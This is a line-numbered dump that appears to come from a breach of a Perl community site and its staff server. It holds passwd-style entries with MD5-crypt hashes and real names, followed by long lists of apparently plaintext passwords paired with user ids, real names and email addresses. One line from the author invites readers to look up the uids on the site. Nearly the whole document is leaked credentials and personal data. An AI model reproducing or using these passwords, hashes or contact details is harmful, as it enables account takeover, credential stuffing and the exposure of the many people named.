Bourne:/root:/bin/sh 16161 aharrod:$1$47msZ$mZzsUeC8oS3KHG75Fx40r/:1050:20::0:0:aharrod:/usr/home/staff/ah 16162 arrod:/usr/local/bin/tcsh 16163 alan:$1$1t1zZKAo$p4VNj7DN7gtBI2sFcyjqK1:1037:20::0:0:alan:/usr/home/staff/alan: 16164 /usr/local/bin/zsh 16165 amg3320:$1$lwsMJvfW$ieighLBJQ7DVxTXsmL8O8.:1089:20::0:0:Anthony M. 16166 Giannotti:/usr/home/staff/amg3320:/bin/csh 16167 blich:$1$DNAlO$hMCT0uOOlyds.Jm6M6lMp/:1061:20::0:0:blich:/usr/home/staff/blich: 16168 /usr/local/bin/tcsh 16169 bmc1:$1$SwA/lq9D$zBadeDMtKGn6P5QJ20UJ10:1084:20::0:0:Bruce 16170 Cromwell:/usr/home/staff/bmc1:/usr/local/bin/tcsh 16171 brooksa:$1$JEFG2EaV$iBpm4itTLMxn8b779cDDu.:1090:20::0:0:Arden 16172 Brooks:/usr/home/staff/brooksa:/bin/csh 16173 cap:$1$PlGbA$u.WbC1YQh8.GEDmXj0Ha60:1012:20::0:0:cap:/usr/home/staff/cap:/usr/l 16174 ocal/bin/tcsh 16175 cbeck:$1$pXrw1WsU$JbpGFBVNLMu60BPeSSj5w0:1121:20::0:0:Charles 16176 Beck:/usr/home/staff/cbeck:/bin/csh 16177 cwest:$1$iBhg.$f55ffvQTzZBwRf8y.4OoU1:1055:20::0:0:cwest:/usr/home/staff/cwest: 16178 /usr/local/bin/tcsh 16179 dalgaard:$1$/YOJFKKq$631Ok2RiN0969SUvkZO7z/:1099:20::0:0:Curt 16180 Dalgaard:/usr/home/staff/dalgaard:/bin/csh 16181 danw:$1$Hdn9J3GA$VOAaZNkbJyA2mwI0.1HhJ.:1073:20::0:0:Dan 16182 Wyrostek:/usr/home/staff/danw:/usr/local/bin/zsh 16183 djansel:$1$JoSW33YK$E3xYIpoDc.H8uuFZkP8ka0:1103:20::0:0:Dorrie 16184 Ansel:/usr/home/staff/djansel:/bin/csh 16185 elizabet:$1$uyJibP4g$HyzVzdOyMxDOLHkuMro5H1:1024:20::0:0:Elizabeth 16186 Cromwell:/usr/home/staff/elizabet:/bin/tcsh 16187 erich:$1$UQ2Ov4SA$Usoo3MJMrJK7nSwHIkA0//:1074:20::0:0:Eric 16188 Howard:/usr/home/staff/erich:/bin/csh 16189 erik5:$1$c4O1xkdF$h0/j0CJdKVNP0T/41LWsf1:1038:20::0:0:erik5:/usr/home/staff/eri 16190 k5:/bin/sh 16191 ewing:$1$gnhKDbSe$uw/KU80BD8b.eQ5FqAxXo/:1114:20::0:0:Stephanie 16192 Ewing:/usr/home/staff/ewing:/bin/csh 16193 fresem:$1$Q31CDNsF$Ta7wUf9/CBhD98eBF0V9l.:1130:20::0:0:Mark 16194 Frese:/usr/home/staff/fresem:/bin/csh 16195 garyh:$1$isnpTcPI$S8KopDIAG5PAC9t6J9g5l.:1068:20::0:0:garyh:/usr/home/staff/gar 16196 yh:/usr/local/bin/tcsh 16197 gk:$1$Y3CKV$Iy36wsGAiMdgoIzr60iDc.:1007:20::0:0:Gus 16198 Kumpfmiller:/usr/home/staff/gk:/bin/csh 16199 haluskag:$1$f8.glv0J$MSNfy4DIZrqOx/EqZnfXf/:1124:20::0:0:Garrett 16200 Haluska:/usr/home/staff/haluskag:/bin/csh 16201 hawn41:$1$DnV6/u/h$aK/S18iOJV6EjsHD.K2cQ1:1115:20::0:0:Christopher 16202 Hawn:/usr/home/staff/hawn41:/bin/csh 16203 hmcs:$1$.ix2OLb.$wamqPNlEG7Z5cRbnZZloB.:1132:20::0:0:Sam 16204 Raley:/usr/home/staff/hmcs:/bin/csh 16205 hrudmin:$1$BULLY4lM$RYsTvkBmmjlzprQ4TyKfi1:1122:20::0:0:Hans 16206 Rudmin:/usr/home/staff/hrudmin:/bin/csh 16207 iceolate:$1$PISPBhZ0$RcXiNIhrRHPH9vFGJr2LM/:1126:20::0:0:Bill 16208 Causer:/usr/home/staff/iceolate:/bin/csh 16209 itpolas:$1$C5t2sLCa$XLl5o0NcnnnJnz6GwSFR9/:1127:20::0:0:Ivan 16210 Polaski:/usr/home/staff/itpolas:/bin/csh 16211 jcaino:$1$.p/BKOuE$sHw4cDE1RHPFhpQ0i4raH.:1105:20::0:0:Jonathan M. 16212 Cain:/usr/home/staff/jcaino:/bin/csh 16213 jdavis24:$1$jV8w195S$33xLF9nmwTzcr0JmTbCJ1.:1101:20::0:0:Josh 16214 Davis:/usr/home/staff/jdavis24:/bin/csh 16215 jeberley:$1$JFAxTYri$.QsNKPzumrU/Dmk5yXd9y0:1131:20::0:0:Jaime 16216 Eberley:/usr/home/staff/jeberley 16217 jwr:$1$XiNLH8fh$dWmLbpqt0arM7xkUen9x31:1116:20::0:0:John 16218 Robison:/usr/home/staff/jwr:/bin/csh 16219 kettell:$1$Lchiqs7j$alh86yk/LNbVriOyUFS7/.:1081:20::0:0:Brian 16220 Kettell:/usr/home/staff/kettell:/bin/csh 16221 kevino:$1$mPQfc2aB$JLihi34NuRIS1.EdKfawZ0:1070:20::0:0:Kevin 16222 O'Connor:/usr/home/staff/kevino:/bin/csh 16223 koco:$1$CFuJwP8p$Qg847JynFAhl8BqIJwhki1:1133:20::0:0:Krystal 16224 O'Connor:/usr/home/staff/koco:/bin/csh 16225 ktesche:$1$/1ApBO9x$tuZP5quU3md5hw2x/mrOv1:1112:20::0:0:Kurt 16226 Tesche:/usr/home/staff/ktesche:/bin/tcsh 16227 kurt:$1$sXAOTFM8$OK0lKX3x0UW0WYhJMVtwY/:3003:1000::0:0:kurt:/usr/home/kurt:/bin 16228 /csh 16229 kvferry:$1$nQor/gT.$38jGkQ3BEzFICNxpMylT1.:1097:20::0:0:Keith 16230 Ferry:/usr/home/staff/kvferry:/bin/csh 16231 matt:$1$8npes$NhB9vhI8U4rK7MOYyTz0V/:1006:20::0:0:Matt 16232 Riffle:/usr/home/staff/matt:/usr/local/bin/tcsh 16233 mddst34:$1$r5Xpg6Xd$WV/6kzqvuMlygdFWrSR/n1:1072:20::0:0:Matthew 16234 Dalessandro:/usr/home/staff/mddst34:/bin/csh 16235 megana:$1$alL4WTE0$r33t0WWfcvyjK/8mfgoHq.:1067:20::0:0:megana:/usr/home/staff/m 16236 egana:/usr/local/bin/tcsh 16237 melea:$1$O7KCX$GJrGsNAIEjyc0oV0fd7Xh0:1029:20::0:0:melea:/usr/home/staff/melea: 16238 /usr/local/bin/zsh 16239 mlehner:$1$yqGt.$nPAWpXeojlNDR2wl7UTit/:1039:20::0:0:mlehner:/usr/home/staff/ml 16240 ehner:/bin/csh 16241 perlmonk:$1$bvxWkDNR$lT1pXGcnrvPsM4ac1ul210:3002:1000::0:0:Kurt 16242 DeMaagd:/usr/home/perlmonk:/bin/csh 16243 pfawcett:$1$y3peZ$yZmPIMsRZeLLX6EkpCJTc.:1057:20::0:0:pfawcett:/usr/home/staff/ 16244 pfawcett:/usr/local/bin/tcsh 16245 pjmclaug:$1$j1C8A$SHvZzel7HRllWOSjWMLoC1:1032:20::0:0:pjmclaug:/usr/home/staff/ 16246 pjmclaug:/bin/csh 16247 pweigle:$1$yFqXWpqo$nNakkTyw71X9fs6.va9Vp1:1108:20::0:0:Patrick 16248 Weigle:/usr/home/staff/pweigle:/bin/csh 16249 rbroo25:$1$jxq6Sfim$pPqf45eop3Q3ZIyt1VkQQ.:1125:20::0:0:Ross 16250 Brooks:/usr/home/staff/rbroo25:/bin/csh 16251 rcd:$1$5SPkQktf$6Zh/9PMPi8dxUQv0PnYuv1:1019:20::0:0:Rob 16252 D:/usr/home/staff/rcd:/bin/csh 16253 rsilb:$1$nUiZ2QOJ$jS.xKzEuZU3v0xyiUQlh71:1117:20::0:0:Ryan 16254 Silbaugh:/usr/home/staff/rsilb:/bin/csh 16255 rwebb:$1$pQ4yeTyS$JUJodEoplNH59pp979nGQ/:1100:20::0:0:Rhonda 16256 Webb:/usr/home/staff/rwebb:/bin/csh 16257 ryans:$1$MgBmhot8$b9b1SIdrzEUdzVuz3QpcI1:1109:20::0:0:Ryan 16258 Smaretsky:/usr/home/staff/ryans:/bin/csh 16259 sigma:$1$Ny73G$zYjhZCcyC1oUsl/TX9.FN1:1000:20::0:0:Kevin 16260 Martin:/usr/home/staff/sigma:/bin/csh 16261 smk:$1$u1MlBIs0$6lB1SOHM0g4eF6GzfF7bN.:1083:20::0:0:Scott 16262 Kriebel:/usr/home/staff/smk:/usr/local/bin/tcsh 16263 sxpst1:$1$T6u5J0dc$V77gQSVBb9tfepYWeb/e0.:1045:20::0:0:sxpst1:/usr/home/staff/s 16264 xpst1:/usr/local/bin/tcsh 16265 terram:$1$gkxiCJOG$mdvrBqBQ8WqMJokLZI7jJ0:1054:20::0:0:terram:/usr/home/staff/t 16266 16267 And now for passes. I was too lazy to add usernames, but you have a uid you can 16268 check on the site, along with real names and email addresses given here. 16269 16270 First, the janitors: 16271 16272 5348 a5q!po9 Max Maischein corion@corion.net 16273 22609 ij7dIcmy Tye McQueen nothingisobvious@gmail.com 16274 25626 4131466 Gryphon Shafer gryphon@cpan.org 16275 47040 13GsYTBp chady chady@chady.net 16276 299049 6fCA24EY Yitzchak Scott-Thoennes sthoenna@efn.org 16277 108447 p3rlp3rl Yves Orton demerphq@gmail.com 16278 281137 Coimbra David Oswald daoswald@gmail.com 16279 298378 nalini Arun Persad arunbear@gmail.com 16280 421540 p1x1e Charles Colbourn charlesc@colbourn.net 16281 442602 7po5bu2k Nancy Noell Burk nancy@planetscapeenterprises.com 16282 461912 william Peter Jaquiery peter@adi.co.nz 16283 221638 131.Nem Jess Robinson castaway@desert-island.me.uk 16284 483556 tssg5748 Darren darren@victoriajd.com 16285 16286 And now the list of saints: 16287 16288 979 Volma379 Tim Vroom vroom@blockstackers.com 16289 171588 adv59416 Nigel Sandever vev6s4702@sneakemail.com 16290 381608 archforc ELB ikegami@adaelis.com 16291 9073 4p3rlm0n Randal L. Schwartz merlyn.perlmonk@stonehenge.com 16292 5348 a5q!po9 Max Maischein corion@corion.net 16293 17000 pineappl Curtis Poe curtis_ovid_poe@yahoo.com 16294 85580 kieran Rob Kinyon rob.kinyon@gmail.com 16295 22609 ij7dIcmy Tye McQueen nothingisobvious@gmail.com 16296 26179 rtkJhiG2 Ben Tilly btilly@gmail.com 16297 82147 bZ9jFSgN Tom Leete tleete@zoominternet.net 16298 1382 p3rlm0 chromatic chromatic@wgz.org 16299 461912 william Peter Jaquiery peter@adi.co.nz 16300 29008 MonkEBiz david landgren david@landgren.net 16301 169744 EahejY7f Abigail abigail@foad.org 16302 22308 davesmit Dave Smith dws@davewsmith.com 16303 131741 8jYcEZ4T joe milosch zentara@zentara.net 16304 18800 3mta3U Jeff Anderson captvanhalen@yahoo.com 16305 104919 emma96 Perrin Harkins perrin@elem.com 16306 114691 rj1ophh Aristotle Pagaltzis pagaltzis@gmx.de 16307 2680 hal9000 Dave Cross dave@dave.org.uk 16308 58196 496JGGW2 Mike Fletcher fletch+pmonk@phydeaux.org 16309 180961 G@tcomb1 Joshua Limbic_Region_2000@Yahoo.com 16310 366986 top1dog brian d foy bdfoy@cpan.org 16311 80749 Jade9 Dr James Freeman jamesfreeman404@hotmail.com 16312 186362 TimPMp. adrianh adrianh@quietstars.com 16313 108447 p3rlp3rl Yves Orton demerphq@gmail.com 16314 616540 J5FZPUa5 Moritz Lenz moritz@faui2k3.org 16315 281137 Coimbra David Oswald daoswald@gmail.com 16316 1936 lekke112 Jeff Pinyan japhy.734@gmail.com 16317 157432 f8AcbUfG Joost Diepenmaat joodie@xs4all.nl 16318 123953 billa1 Martin Fabiani martin@fabiani.net 16319 44715 rNlwU0zq David Graff graff@ldc.upenn.edu 16320 194920 kladdOrf JJORE jjore@cpan.org 16321 224409 trustno1 Boris Zentner boris@2bz.de 16322 21156 7iFND7RI Thomas Stanley Thomas_J_Stanley@msn.com 16323 409850 zip9mreq Michele Dondi blazar@lcm.mi.infn.it 16324 299049 6fCA24EY Yitzchak Scott-Thoennes sthoenna@efn.org 16325 190859 BJ4Y56VW Bart Lateur bart.lateur@pandora.be 16326 211692 whatever 16327 510280 gell/fei Georg Moritz gm@cruft.de 16328 57126 gandalf Hugh S. Myers hsmyers@sdragons.com 16329 290905 Bear*Dog Bob Goolsby bob.goolsby@gmail.com 16330 9346 lc5ctIR1 Michel Rodriguez mirod@xmltwig.com 16331 198160 seawolf Karl Moens karl.moens@telenet.be 16332 421114 thet0wer Darin McBride dmcbride@naboo.to.org 16333 57097 slayer Jeffery Schmitz jefferyschmitz@mac.com 16334 107642 Mma$5t3R crazyinsomniac crazyinsomniac@yahoo.com 16335 132236 potstal J. Waalboer perlmonks@juerd.nl 16336 127116 ate27aq1 Giuseppe Maxia g.maxia@gmail.com 16337 585085 monadriv Kyle Hasselbacher kyleha@gmail.com 16338 87452 greenosc Dan Brook broquaint@gmail.com 16339 131279 tab44pm T. Alex Beamish talexb@gmail.com 16340 118343 klunky Edward Perry yuckfoo@kscable.com 16341 170442 4quan3 John Douglas Porter johndporter@yahoo.com 16342 25626 4131466 Gryphon Shafer gryphon@cpan.org 16343 159343 bluefour Sam Tregar sam@tregar.com 16344 442602 7po5bu2k Nancy Noell Burk nancy@planetscapeenterprises.com 16345 324763 t1nman Martin mcgrath.martin@gmail.com 16346 352046 88WWster walt wheeler wheelerw@fairpoint.net 16347 368189 fish4tea john sharpe wfsp@btinternet.com 16348 182681 court17 sauoq sauoq@yahoo.com 16349 195718 wfBFxTd Timm Murray hardburn@wumpus-cave.net 16350 146981 kOQZckf3 Dave Turner drt@sonic.net 16351 65703 drowssap Rob robau@cpan.org 16352 176576 knob6352 Andrew Savige asavige@cpan.org 16353 16260 apelsinp Johan Lindström johanl@DarSerMan.com 16354 326529 trustno1 fred@2bz.de fred@2bz.de 16355 33117 npwimi footpad@biocede.com 16356 155876 ack9aRRo Matthew Musgrove mmusgrove@cpan.org 16357 268515 aj360 David Golden dagolden@cpan.org 16358 465654 anjinsan John C. Norton jchnorton@verizon.net 16359 144850 Proactiv Ivor Williams wizzard@xemaps.com 16360 237051 kA6MYfUU Marc Beyer japh@tirwhan.org 16361 31503 VByMLNYa Douglas Wilson douglasg.wilson@gmail.com 16362 300037 chicken Roy Johnson rjohnson@shell.com 16363 277846 Re1sc0kR Richard Rose richard.58@bigpond.com 16364 580097 aert44dc Almut Behrens almut-behrens@gmx.net 16365 8930 flow2eve mike barry mbarry@cos.com 16366 45414 gkl74 John McNamara jmcnamara@cpan.org 16367 83485 87super Blake Mills blakem-perlmonks@blakem.com 16368 483556 tssg5748 Darren darren@victoriajd.com 16369 72267 pmvahe1 Vahe Sarkissian vsarkiss@pobox.com 16370 295576 4tragbar Zsban Ambrus ambrus@math.bme.hu 16371 166227 bertossi Valerio Paolini valdez@linuxasylum.net 16372 611550 ma3sch Brian Greenfield 0briang0@gmail.com 16373 133383 tofuji Christian Brink grep.pdx@gmail.com 16374 80322 cUk34CJ3 John M. Dlugosz jdlugosz@securenym.net 16375 187037 sm0kesta Richard Burton tbone1@io.com 16376 145001 78R3SWIE Mark Kvale kvale@phy.ucsf.edu 16377 104238 f1shcake Jonathan Stowe jns@gellyfish.com 16378 53423 ?yruw#R3 Michael K. Neylon mneylon-pm@masemware.com 16379 2698 LangByBa David Vergin dvergin@igc.org 16380 9547 hopsmack Matt Sisk sisk@mojotoad.com 16381 248054 kJaec8dK Troy Gains troy@rmdb.net 16382 160333 mvgeat7 dree 16383 167085 YJNaKZTI gawatkins@yahoo.com 16384 272239 wh00p1 Elizabeth Mattijsen liz@dijkmat.nl 16385 149104 spruc3 Gary gary@logicwest.com 16386 241598 seifenop Markus Holzer holli.holzer@web.de 16387 137386 dorash7 Mike Rosulek rosulek@fastmail.fm 16388 315586 yelllo Stevan Little stevan.little@iinteractive.com 16389 524150 98ZRDYiH Rob Gilmour sisyphus1@optusnet.com.au 16390 105128 seznamka Jenda Krynicky Jenda@Krynicky.cz 16391 245082 blah.bla David Westbrook dwestbrook@gmail.com 16392 25047 wakkawak James Mastros james@mastros.biz 16393 439528 carajo Gabriel Bérriz gberriz@gmail.com 16394 95145 froglove Matt Olson mjolson@cs.sfu.ca 16395 70929 CTScts17 A. Croft acroft@cyber-wizard.com 16396 139958 sinny2 Mike Friedman friedo@friedo.com 16397 375665 bob23mon Robert Freimuth freimuth.robert@sigmaxi.net 16398 16186 assc51w Paul Miller jettero@cpan.org 16399 9270 smelt666 J. C. Wren jcwren@jcwren.com 16400 119620 vek45699 Kevin Spencer kev.spencer@gmail.com 16401 401112 iEfeM9ke john gillman john.gillman@logicacmg.com 16402 249603 Insecure Ed Halley ed@halley.cc 16403 4677 linbor77 Stephen Jenkins Steve.Jenkins@nrc.ca 16404 266955 flooby John Day johnday@wordsnimages.com 16405 10277 ~1e^edA0 crazyinsomniac@yahoo.com. 16406 77866 fnordboy anders pearson anders@columbia.edu 16407 534893 khK5cXgg Gavin gno@gavinoliver.co.uk 16408 146055 japm4711Sören M. Laird Sörries perl@myobj.com 16409 14909 J3mmz Don Royer dobre@cox.net 16410 163683 codfulg revdiablo revdiablo@wd39.com 16411 62512 perlfreq Christopher E. Stith cstith@gmail.com 16412 154315 temp robert 16413 67275 3491 Jeff Zucker jeff@vpservices.com 16414 113686 phobbit1 Adam Trickett adam.trickett@iredale.net 16415 603247 Umberto Allan P. Lappin apl@acm.org 16416 33341 QgjuSR10 Don Cleghorn don@globility.com 16417 87399 getalife Cody Pendant hostile.seventeen@gmail.com 16418 190016 swg48503 Scott Gifford sgifford@suspectclass.com 16419 49599 2namaki Scott Tadman scott@tadman.ca 16420 622051 clew48pe Gene Sullivan gene.sullivan@alum.mit.edu 16421 139399 javancc1 Peter Wise pete@bloodaxe.com 16422 31548 freewind Jeremy jepri@alphacomplex.org 16423 273627 batard Brad Cathey 16424 43546 p3rlm0nk Ronald J Kimball rjk-perlmonks@tamias.net 16425 159887 opus Vijay Anand vijay@calmet.com 16426 373533 gUHd9OYE Joe Hourcle oneiros@annoying.org 16427 61104 fistfuck cLive hoLLoway pm@cliveholloway.net 16428 287641 MaRiA1 Roger Lee rogerlee@cosmos.net.au 16429 3537 hamlet Jessie Baker jess@bereth.com 16430 75719 SharkR0d Lee Pumphret lp@leeland.net 16431 109358 ibaquosa Lawrence Sweeney thinker@dsl.pipex.com 16432 221638 131.Nem Jess Robinson castaway@desert-island.me.uk 16433 72516 w00fw00f Peter L. Berghold Peter@Berghold.Net 16434 360010 findoutm prasadprasad.pushpanathan@india.thalesgroup.co 16435 6041 pmbbalfl Greg Sabino Mullane greg@turnstep.com 16436 76537 er1c000 Eric Andreychek eric@openthought.net 16437 27402 stinky71 Chris Winters chris@cwinters.com 16438 168548 1991cav Brian bricas@cpan.org 16439 16034 jinkies 16440 533863 acg52ghE Marco marco.mason@gmail.com 16441 2675 lovecat Benjamin Trott ben+perlmonks@stupidfool.org 16442 123291 hossss Hoss Man hossman@rescomp.berkeley.edu 16443 153214 c48zq19j Katie bioprogrammer@gmail.com 16444 446266 cabeza Salvador Fandino sfandino@yahoo.com 16445 474411 grits4u kent c. kent@c2group.net 16446 25235 T4GDrZCj Stefano Rodighiero larsen@libero.it 16447 151991 dfbcEODH Mike rmgiroux@acm.org 16448 57426 >=6chars Larry Wall larry@wall.org 16449 127307 p4r4n094 Ilya Martynov ilya@martynov.org 16450 24736 front242 jd porter theeaterofsocks@hotmail.com 16451 326280 ritaanjo José Castro cog@cpan.org 16452 8656 lorelei Jack Holt jack.holt@pobox.com 16453 169829 fem8GO5p Junior jormangundr@moscow.com 16454 230012 NG5QLHGcJonadab the Unsightly One jonadab@bright.net 16455 133118 laotse Marco Lima mago@rio.pm.org 16456 417993 JPWQMgXI j. Brugman justus.brugman@gmail.com 16457 292373 3e4E87SN Emmanuel Florac wazoox@free.fr 16458 329777 arathea Paul Beckingham paul@beckingham.net 16459 494652 yd3438 E M Culver culvere@acm.org 16460 5993 0WyRMwaW Hendrik Van Belleghem beatnik@quickndirty.org 16461 170000 vadoggy Courage the Cowardly Dog vadimk@vkonovalov.ru 16462 263384 james256 Eric eric256@gmail.com 16463 388230 P3r7! Lukasz uksza@wp.pl 16464 72806 reena Perl Artist perlartist@yahoo.com 16465 186342 ZAWAU3A6 Steve Hawtin steve@tsort.demon.co.uk 16466 368438 msftmsft Gaal Yahas gaal@forum2.org 16467 231445 foobarba Jason Kohles email@jasonkohles.com 16468 213642 nannin Charles David Tallman tallman@acsys.com 16469 155191 ballustr Elian dan@sidhe.org 16470 373431 fintemp Randy Kobes r.kobes@uwinnipeg.ca 16471 209409 trepsyl Hugo van der Sanden hv@crypt.org 16472 10261 dorko1 Brent Shaw shaw@cfl.rr.com 16473 375088 anachron Radiant Matrix radiantmatrix@gmail.com 16474 95917 agatha1 Jim Longino 16475 10395 money1 Terrence Brannon bauhaus@metaperl.com 16476 59514 88gCEIEC John McDermott jjm@jkintl.com 16477 142528 yf4rdS9I cjf fairbairn@rapidimedia.com 16478 3737 alphabet Mark Dominus mjd-www-perlmonks+@plover.com 16479 104914 meep Joseph F. Ryan 580ryan@erienet.net 16480 84630 cymraeg David Cantrell david@cantrell.org.uk 16481 23317 cTKMjBnP Adam adamc@unc.edu 16482 394193 guvi82 gubendran gubevijay@yahoo.co.in 16483 468064 whodonei Sanko Robinson junk@penilecolada.com 16484 63250 XTa4YRN8 Gregory Cranz gregor42@mail.com 16485 43019 m0nkey M. Simon Cavalletto simonm@cavalletto.org 16486 33345 $3(r37 Kanji T Bates bates@jurai.net 16487 56739 ant77553 Anthony Ball ant_pm@suave.net 16488 72812 desktop Andy Lester andy@petdance.com 16489 325183 pzztops Mike Schilli cpan@perlmeister.com 16490 80839 G13#!ogg Jack Challen davis65536@yahoo.co.uk 16491 194370 basilzen Steve Kemp pm@steve.org.uk 16492 17251 drperl Gary gary@dls.net 16493 396583 apuleius Thomas Hartman thomaspazhartman@fastmail.fm 16494 132645 v7aric Vladimir Bogdanov contact@vladb.com 16495 5403 genius* Jonathan Scott Duff duff@pobox.com 16496 16098 1734 David Nesting pm@fastolfe.net 16497 70099 xyzzy42 Sue Spence sue@pennine.com 16498 699288 WZGUBE8G JavaFan javafan@mailinator.com 16499 295259 1978mj B10m b10m@perlmonk.org 16500 647878 dietcoke ER pc88mxer@gmail.com 16501 350468 please Avery Moore avery@funkmonkey.com 16502 345630 WCfgbhT3 Dan Dormont ddormont@gmail.com 16503 180139 X6AZYYP9 Sean Riley sean.riley@sxi.co.za 16504 81749 this59 Tom Anderson t@tomacorp.com 16505 3607 Mopp4f Ray Brinzer petruchio@perlmonk.org 16506 89333 ak3VKHRD Nick Ng nskiat_ng@yahoo.com.sg 16507 382261 2bornot2 Robin robinpollard@onebox.com 16508 32155 t097phy James Allenspach jima@legnog.com 16509 222593 Awool3Ai Alexander O ccn@tut.by 16510 228394 1hznpm Zbigniew Lukasiak zzbbyy@gmail.com 16511 420266 lynxfree Donald Wilde dwilde1@gmail.com 16512 155973 glat3b Grant McLean grantm@cpan.org 16513 128274 Eh95dL7D Mathew mshember@synplicity.com 16514 25825 laserlan Mark Swayne mark_swayne@mac.com 16515 471998 shanti Ben-David spamtrap1@blessedb.org 16516 73441 mad dog Michael Houghton herveus@radix.net 16517 272750 suxpmdev john doe spa5@sporty.org 16518 169799 cIC7DaGa Geert Jan Bex gjb@luc.ac.be 16519 535734 Booger21 Steve Kirkup Herk_Destro@yahoo.com 16520 195379 drowssap Michael Kellen idsfa@visi.com 16521 439923 manuela Flavio Poletti flavio@polettix.it 16522 56270 76mythri Murray Barton murray.barton@gmail.com 16523 85567 gpg18w particle particle@artfromthemachine.com 16524 9135 tyeb0mb Adam adam@cs.ucsb.edu 16525 250038 regrouka Edward Guiness pm@edwardguiness.com 16526 386673 perl.me. Gavin Henry ghenry@perl.me.uk 16527 304796 I\"p)0wf9 jfroebe jfroebe 16528 341121 S58WNECW Dave Mitchell davem@iabyn.com 16529 528646 K52650fx Kevin W. Henwood Khen1950fx@aol.com 16530 131494 knight_ Russ LeBar argel@msn.com 16531 120013 shazam Christopher Baker ignatz@cbaker.org 16532 53200 whooper arhuman arhuman@hotmail.com 16533 228902 iomega Jochen De Smet jochen.perlmonks@leahnim.org 16534 116292 carmel Michael Peppler mpeppler@peppler.org 16535 95704 billybud Will Willis willis3140@hotmail.com 16536 6415 Kxcm0XLo Ann ann@domaintje.com 16537 258724 lendenu David Jones djones@noos.fr 16538 61798 bcde1234 Bernd Dulfer bdulfer@gmail.com 16539 321512 FEP9CNCC Andreas F. andreas1234567@hotmail.com 16540 460657 krithica Velusamy R samy_rio@excite.com 16541 281009 kelsey Steve Gilbert gilberts@optonline.net 16542 448370 perl1970 Rhesa Rozendaal perl+monks@rhesa.com 16543 34691 enema Alex Vandiver alexmv@mit.edu 16544 64906 +-redivy Simon Proctor webmaster@simonproctor.com 16545 178258 yCwnPIM3 Leaving didier.ladner@nerim.net 16546 31579 Waboli Stephane Payrard stef(at)payrard.net 16547 5549 foobar8 Les Howard les@lesandchris.com 16548 173932 1234SENH Flávio Soibelmann Glock fglock@pucrs.br 16549 16711 ledzep1 David Wakeman djw@perldev.org 16550 269874 sr2455 Sebastian Riedel sri@labs.kraih.com 16551 141380 cul8er Michael W Thelen thelenm@cs.utah.edu 16552 103111 1263 Joshua Rey jbr@ntlworld.com 16553 204547 KAOjkcHk jon jon@pigsbladder.com 16554 540414 QhBWke73 John W. Krahn krahnj@telus.net 16555 25823 black^sa Jaldhar H. Vyas jaldhar@braincells.com 16556 310484 IMdF39bC 16557 28188 fenian Kevin Clancy kpclancy@hotmail.com 16558 218773 9JTBY458 Ben Daglish bdaglish@surfnet-ds.co.uk 16559 369157 public theshz theshz@gmail.com 16560 16202 ch33se Zenon Zabinski zdog@rapstation.com 16561 45391 Fm5etoW2 x x@ichimunki.com 16562 127547 jess Baz Bremner public@barriebremner.com 16563 194928 smith Rob Ransbottom rir.gsmi@verizon.net 16564 77235 VOfKiWdH Michael Ridler mridler@netstylemedia.com 16565 203787 12point6 devin devin.austin@gmail.com 16566 110976 ashkabla chas friedman friedman@math.utexas.edu 16567 233329 xomyx76 Tina Mueller perlmonks@s05.tinita.de 16568 310822 pm4me Anne Brown anne@browndomain.com 16569 144696 lilslut Tom Legrady legrady@rogers.com 16570 71127 akteron Jason Karolczak-Konen jason@karolczak.com 16571 296575 m0nk3y Steven Stone stone@hcgl.eng.ohio-state.edu 16572 159943 monkfeas David Christensen David.A.Christensen@gmail.com 16573 502468 perl1274 Chris perlmonkey@gmail.com 16574 89299 r1uqsh++ PetaMem rj@petamem.com 16575 298378 nalini Arun Persad arunbear@gmail.com 16576 57755 Wkc10XSy Ben Thul perlmonks.thulben@xoxy.net 16577 261960 goodpain Yoshiah devildog_kutsu@yahoo.com 16578 44950 JdjDF00C Dean Inada dmi@questrel.com 16579 294463 xevkai Quantum Mechanic Quantum.Mechanic.1964@gmail.com 16580 217641 giants86 Thomas Pfau pfau@nbpfaus.net 16581 245320 5356 Alberto Adrián Schiano betoian@netscape.net 16582 330779 hereot Matija Grabnar matija@matija.com 16583 350512 ffffjjjj Ivan Tubert itub@cpan.org 16584 9685 k1l1m5 mike dillon md5@embody.org 16585 8157 bxmwaIhI Brian Wisti brian.wisti@gmail.com 16586 209598 phenton Tim Edgren tim@edgren.com 16587 218135 auhfyr98Nkuvu the Wonder Tortoise nkuvu.tortoise@gmail.com 16588 141348 kungen66 Kristoffer Lundén kung.stoffe@home.se 16589 421540 p1x1e Charles Colbourn charlesc@colbourn.net 16590 489086 cNQ864HC Mickey mickey75@gmail.com 16591 22772 71r6tRwD Theo Petersen theopetersen@yahoo.com 16592 106949 Toruc To The Sidhekin sidhekin@allverden.no 16593 47040 13GsYTBp chady chady@chady.net 16594 107600 tindbi Damian Conway damian@conway.org 16595 8948 ERC6mHaz ar0n@perlmonk.org 16596 186172 bender Eli Bendersky spur4444@yahoo.com 16597 406189 habakuck Holger Hellmuth hellmuth@ira.uka.de 16598 8119 SidzkYfb Tomas Andersson tomas@ibissoft.se 16599 131165 Kc9-?2nM David Jantzen david.jantzen@comcast.net 16600 541305 talisker Clive Darke clive.darke@qa-iq.com 16601 190918 zauber Tom Shinnick tshinnic@io.com 16602 351094 cj98@jj0 david jenkins djenkins@spaceimaging.com 16603 227499 dammit Matt mleblanc@cpan.org 16604 373324 gopal123 gopalr gopal.ind.2000@gmail.com 16605 184322 SF5YWOXX GMP gm@virtuasites.com.br 16606 576594 2ml4{Fw} Ira Byerly melaneus@gmail.com 16607 480254 CkI8OF3c Phil Crow philcrow2000@yahoo.com 16608 131262 black23 Steve Peters steve@fisharerojo.org 16609 111406 vincent Gunnar Hägglund gunnar@optilens.se 16610 175325 scooter5 Marco Marongiu bronto@tiscali.com 16611 153701 2elwing1 David nimdokk@fluckers.com 16612 313535 argv1 Michael DeHaan mpdehaan@nc.rr.com 16613 186684 solament Christian Renz crenz@web42.com 16614 253915 mann1bac Stephan perl.monk.skeeve@xoxy.net 16615 223311 perlfish hmm perlhero@yahoo.com 16616 162891 1Emsyl wil wil@stephens.org 16617 62377 aBI9WXFU Tom Fili tom@tomfili.net 16618 49266 Cor49t andrew andrew-johnson@shaw.ca 16619 391408 A4VWJcYO Theodore theodore@websitters.com 16620 69487 1YSOweb Ben Warfield benjamin.warfield@aya.yale.edu 16621 20087 12three4 Mark Mills extremely@hostile.org 16622 184363 kiffvc20 Tom Regner tom@tomsdiner.org 16623 89780 eesopdec Ronnie Alfaro Herrera. ralfaro@gmail.com 16624 373188 c1d3r charlie harvey charlie@charlieharvey.com 16625 299295 Runner12 Paul Johnson pjohnson39@cox.net 16626 36133 candy-o Mark Morgan 